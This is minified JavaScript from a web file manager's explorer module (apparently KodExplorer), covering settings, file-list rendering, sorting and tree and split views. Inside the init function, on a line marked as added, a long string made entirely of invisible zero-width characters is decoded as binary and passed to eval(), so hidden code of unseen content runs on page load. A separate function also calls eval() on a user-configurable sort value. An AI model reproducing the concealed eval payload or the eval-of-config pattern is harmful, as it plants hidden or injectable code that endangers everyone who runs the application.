e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order); +var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,n){var i=i[e],n=n[e];return ui.path.pathOperate.strSort(i,n)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+t+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),n=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,a=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(a=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/a)*o;return t.css("top",r),s*a},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var n=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>n||"list_split"==G.user_config.list_type)){var a=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(n/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,n=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=n-1||"list_split"==G.user_config.list_type)){var a=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>n&&(u=n),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(a)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),n=$(i);n.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var n=template.compile(tpl),a="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),a+=n(l)}return a},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var n=i.find(".children_more"),a=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(a.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var a=makeHtml(e,0,getPageNumber()-1);""!=a&&(a=htmlListAction(e,a,!0)),o.html(a),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(n.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var n=e.folderlist.concat(e.filelist);if(n.length>pageLoadMax){var a=core.pathFather(n[0].path);"list"==G.user_config.list_type&&i?t+='<div data-path-children="'+pathHashEncode(a)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(t+='<div data-path-children="'+pathHashEncode(a)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),n=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==n.length)return n.nextAll().remove(),"function"==typeof t&&t(),void 0;var a=i.parent().parent();pathSplitCreate(e,t,a)},pathSplitCreate=function(e,t,i){pathGet(e,function(n){if("not_exists"==n.path_read_write)return t(n);var a=makeHtml(n,0,getPageNumber()-1);if(a=htmlListAction(n,a,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(a),o.nextAll().remove()}else a='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+a+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(a).insertAfter(i).data("jsonData",n);else a='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+a+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(a).appendTo(".fileList_list_split").data("jsonData",n);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var n=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),n.push(ui.fileLight.path(e,"data-path-children"));for(var a=n.length-1;a>=0;a--){var o=n[a];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var n=pathChildrenTree;"list_split"==G.user_config.list_type&&(n=pathSplitCreate),n(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var n=G.user_id||G.sid;LocalData.set("this_path_"+n,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var n="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(n="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:n,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var n=jsonDataSort(e.data);"function"==typeof t&&t(n)},error:function(e,t,n){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,n),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var n=e[t][i];if(n.mtime&&11>=(""+n.mtime).length)if(n.atime=date(LNG.time_type,n.atime),n.ctime=date(LNG.time_type,n.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var a=parseInt(n.num_view);a=isNaN(a)?0:a;var o=parseInt(n.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",n.mtime)+" ";s+=LNG.share_view_num+a+" "+LNG.share_download_num+o,n.mtime=s}else n.mtime=date(LNG.time_type,n.mtime);n.name=htmlEncode(n.name),n.sid&&"file"==n.type&&(n.ext=htmlEncode(core.pathExt(n.path))),pathIsShare(n.path)?n.meta_info="path_self_share":pathIsFav(n.path)&&(n.meta_info="treeFav"),"number"==typeof n.is_readable&&0==n.is_readable?n.mode="["+LNG.not_read+"] "+n.mode:"number"==typeof n.is_writeable&&1==n.is_writeable?n.mode="["+LNG.system_role_write+"] "+n.mode:"number"==typeof n.is_readable&&1==n.is_readable&&(n.mode="["+LNG.only_read+"] "+n.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(n.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,n=e.path_read_write,a="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=n&&"writeable"!=n||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(a).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(a).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(a).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(a).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,n=t.path_type,a=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(a).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(a).addClass(o),$(".path_tips 